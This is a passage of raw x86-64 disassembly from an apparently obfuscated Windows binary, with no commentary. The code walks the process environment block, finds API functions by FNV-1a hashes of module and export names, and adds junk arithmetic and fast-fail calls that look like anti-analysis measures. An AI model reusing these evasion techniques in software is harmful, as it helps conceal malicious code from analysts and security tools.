mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140127385
cmp edx, esi
je 0x1401273a4
test ebx, ebx
jne 0x140127371
jmp 0x140127403
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012741b
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14012741b
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1401273e4
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401273d6
jmp 0x1401273f7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401273ec
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140127418
cmp qword [rax + 0x30], r12
jne 0x1401272f6
mov rdx, r12
mov qword [0x1417185f8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f0]
test rdx, rdx
jne 0x140127581
mov edi, r12d
mov esi, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14012749d
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140127490
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140127481
cmp edx, edi
jne 0x140127562
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140127562
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140127562
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401274ef
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401274e4
cmp edx, esi
je 0x140127503
test ebx, ebx
jne 0x1401274d0
jmp 0x140127562
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012757a
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14012757a
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140127543
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140127535
jmp 0x140127556
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14012754b
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140127577
cmp qword [rax + 0x30], r12
jne 0x140127455
mov rdx, r12
mov qword [0x1417185f0], rdx
xor ecx, ecx
call rdx
cmp qword [0x1417185e8], r12
jne 0x1401276df
mov edi, r12d
mov esi, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r9, r14
movups xmm0, xmmword [r9 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1401275f9
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401275ec
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401275dd
cmp edx, edi
jne 0x1401276c0
mov r10, qword [r9 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401276c0
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401276c0
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r10 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14012764b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140127640
cmp edx, esi
je 0x14012765f
test ebx, ebx
jne 0x14012762c
jmp 0x1401276c0
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x1401276d8
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x1401276d8
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14012769f
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
cmp al, 0x2e
jne 0x140127691
jmp 0x1401276b3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
test al, al
jne 0x1401276a8
mov r9, qword [r14]
mov rax, qword [r9]
mov r9, rax
cmp rax, r14
je 0x1401276d5
cmp qword [rax + 0x30], r12
jne 0x1401275b1
mov r9, r12
mov qword [0x1417185e8], r9
xor ecx, ecx
int 0x29
mov r9d, r12d
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
imul edi, edx, 7
call fcn.140167c84
movsx ecx, al
add edi, ecx
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
lea r11d, [rdx + rdx*8]
call fcn.140167c84
movsx ecx, al
add r11d, ecx
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*2]
call fcn.140167c84
movsx ecx, al
add ebx, ecx
mov r10d, dword [rsp + 0x20]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r11d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401277fa
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401277fa
mov r10d, r13d
jmp 0x14012784a
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r11d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012784a
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
cmp r9d, r10d
jge 0x140127879
mov rax, r13
mov qword [rsp + 0x20], rax
mov rcx, r13
mov qword [rsp + rcx*8 + 0x20], rax
mov rax, qword [rsp + 0x20]
add rax, r13
mov rcx, rax
mov qword [rsp + 0x20], rax
jne 0x14012785a
add r9d, r13d
jmp 0x14012774d
mov qword [0], 0x99
xor edx, edx
lea rcx, [0x14012b804]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ebx, r12d
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
imul r13d, edx, 7
call fcn.140167c84
movsx ecx, al
add r13d, ecx
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
lea r15d, [rdx + rdx*8]
call fcn.140167c84
movsx ecx, al
add r15d, ecx
call fcn.140167c74
movsx r14d, al
call fcn.140167c78
movsx ecx, al
imul r14d, ecx
call fcn.140167c84
movsx r12d, al
mov edi, dword [rsp + 0x20]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r15d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r13d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401279ad
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401279ad
mov edi, 1
jmp 0x140127a04
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r15d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140127a04
lea ecx, [r14 + r12]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r14*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si edi, xmm0
cmp ebx, edi
jge 0x140127a1f
mov esi, reloc.WLDAP32.dll_Ordinal_200
call fcn.14016c488
sub rsi, 1
jne 0x140127a0d
inc ebx
jmp 0x1401278fd
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
call fcn.140167c84
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401287dd
call fcn.140168d34
movzx eax, al
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140127b22
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140127b22
mov r13d, 1
mov r10d, r13d
jmp 0x140127bc2
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140127bb7
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
jmp 0x140127bbc
mov r10d, dword [rsp + 0x20]
mov r13d, 1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
xor r12d, r12d
test eax, eax
je 0x1401287e0
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
call fcn.140167c84
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140127df2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, byte [0x141716b05]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140127d0c
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140127d0c
mov r10d, r13d
jmp 0x140127da6
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140127da1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
jmp 0x140127da6
mov r10d, dword [rsp + 0x20]
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x140127df2
call fcn.140167c8c
mov rdx, qword [0x1417184d0]
test rdx, rdx
jne 0x140127f4d
mov edi, r12d
mov esi, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140127e69
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140127e5c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140127e4d
cmp edx, edi
jne 0x140127f2e
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140127f2e
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140127f2e
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140127ebb
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140127eb0
cmp edx, esi
je 0x140127ecf
test ebx, ebx
jne 0x140127e9c
jmp 0x140127f2e
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140127f46
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140127f46
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140127f0f
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140127f01
jmp 0x140127f22
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140127f17
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140127f43
cmp qword [rax + 0x30], r12
jne 0x140127e21
mov rdx, r12
mov qword [0x1417184d0], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x141718608]
test rbx, rbx
jne 0x1401280af
mov edi, r12d
mov esi, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140127fcb
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140127fbe
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140127faf
cmp edx, edi
jne 0x140128090
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140128090
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140128090
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14012801d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140128012
cmp edx, esi
je 0x140128031
test ebx, ebx
jne 0x140127ffe
jmp 0x140128090
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x1401280a8
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1401280a8
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140128071
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140128063
jmp 0x140128084
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
test al, al
jne 0x140128079
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x1401280a5
cmp qword [rax + 0x30], r12
jne 0x140127f83
mov rbx, r12
mov qword [0x141718608], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x141718600]
test rdx, rdx
jne 0x140128217
mov edi, r12d
mov esi, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140128133
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140128126
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140128117
cmp edx, edi
jne 0x1401281f8
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401281f8
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x1401281f8
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140128185
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14012817a
cmp edx, esi
je 0x140128199
test ebx, ebx
jne 0x140128166
jmp 0x1401281f8
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140128210
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140128210
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1401281d9
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401281cb
jmp 0x1401281ec
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401281e1
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x14012820d
cmp qword [rax + 0x30], r12
jne 0x1401280eb
mov rdx, r12
mov qword [0x141718600], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f8]
test rdx, rdx
jne 0x140128376
mov edi, r12d
mov esi, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140128292
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140128285
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140128276
cmp edx, edi
jne 0x140128357
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140128357
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140128357
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401282e4
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401282d9
cmp edx, esi
je 0x1401282f8
test ebx, ebx
jne 0x1401282c5
jmp 0x140128357
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012836f
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14012836f
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140128338
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012832a
jmp 0x14012834b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140128340
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x14012836c
cmp qword [rax + 0x30], r12
jne 0x14012824a
mov rdx, r12
mov qword [0x1417185f8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f0]
test rdx, rdx
jne 0x1401284d5
mov edi, r12d
mov esi, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1401283f1
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401283e4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401283d5
cmp edx, edi
jne 0x1401284b6
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401284b6
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x1401284b6
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140128443
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140128438
cmp edx, esi
je 0x140128457
test ebx, ebx
jne 0x140128424
jmp 0x1401284b6
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401284ce
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401284ce
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140128497
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140128489
jmp 0x1401284aa
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14012849f
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x1401284cb
cmp qword [rax + 0x30], r12
jne 0x1401283a9
mov rdx, r12
mov qword [0x1417185f0], rdx
xor ecx, ecx
call rdx
cmp qword [0x1417185e8], r12
jne 0x140128633
mov edi, r12d
mov esi, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r9, r14
movups xmm0, xmmword [r9 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14012854d
